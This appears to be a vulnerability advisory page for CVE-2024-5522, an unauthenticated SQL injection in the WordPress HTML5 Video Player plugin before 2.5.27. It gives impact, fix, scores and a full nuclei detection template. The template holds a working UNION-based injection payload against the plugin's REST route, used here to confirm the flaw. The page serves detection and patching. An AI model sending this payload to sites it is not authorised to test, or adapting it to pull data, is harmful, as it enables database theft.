CVE-2024-5522· bplugins / html5 video player· CWE-89
WordPress HTML5 Video Player < 2.5.27 - SQL Injection
criticalseverity
9.8CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it
The HTML5 Video Player WordPress plugin before 2.5.27 does not sanitize and escape a parameter from a REST route before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks
Impact
Unauthenticated attackers can execute arbitrary SQL queries to extract sensitive database information including user credentials, configuration data, and potentially execute commands on the database server.
Fix
Update HTML5 Video Player plugin to version 2.5.27 or later to address the SQL injection vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6…
Positive when: contains "{{md5(num)}}" AND status 200Run it with nuclei: nuclei -id CVE-2024-5522 -u <target>
The full check
id: CVE-2024-5522
info:
name: WordPress HTML5 Video Player < 2.5.27 - SQL Injection
author: JohnDoeAnonITA
severity: critical
description: |
The HTML5 Video Player WordPress plugin before 2.5.27 does not sanitize and escape a parameter from a REST route before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks
impact: |
Unauthenticated attackers can execute arbitrary SQL queries to extract sensitive database information including user credentials, configuration data, and potentially execute commands on the database server.
remediation: |
Update HTML5 Video Player plugin to version 2.5.27 or later to address the SQL injection vulnerability.
reference:
- https://wpscan.com/vulnerability/bc76ef95-a2a9-4185-8ed9-1059097a506a/
- https://nvd.nist.gov/vuln/detail/CVE-2024-5522
classification:
cvss-score: 9.8
cwe-id: CWE-89
cve-id: CVE-2024-5522
epss-score: 0.02639
epss-percentile: 0.85701
cpe: cpe:2.3:a:bplugins:html5_video_player:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/html5-video-player"
product: html5_video_player
vendor: bplugins
tags: wpscan,cve,cve2024,wordpress,wp-plugin,wp,sqli,html5-video-player,vuln,vkev
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/bc76ef95-a2a9-4185-8ed9-1059097a506a/
- https://nvd.nist.gov/vuln/detail/CVE-2024-5522
Use this check only on systems you are authorised to test. Where the data comes from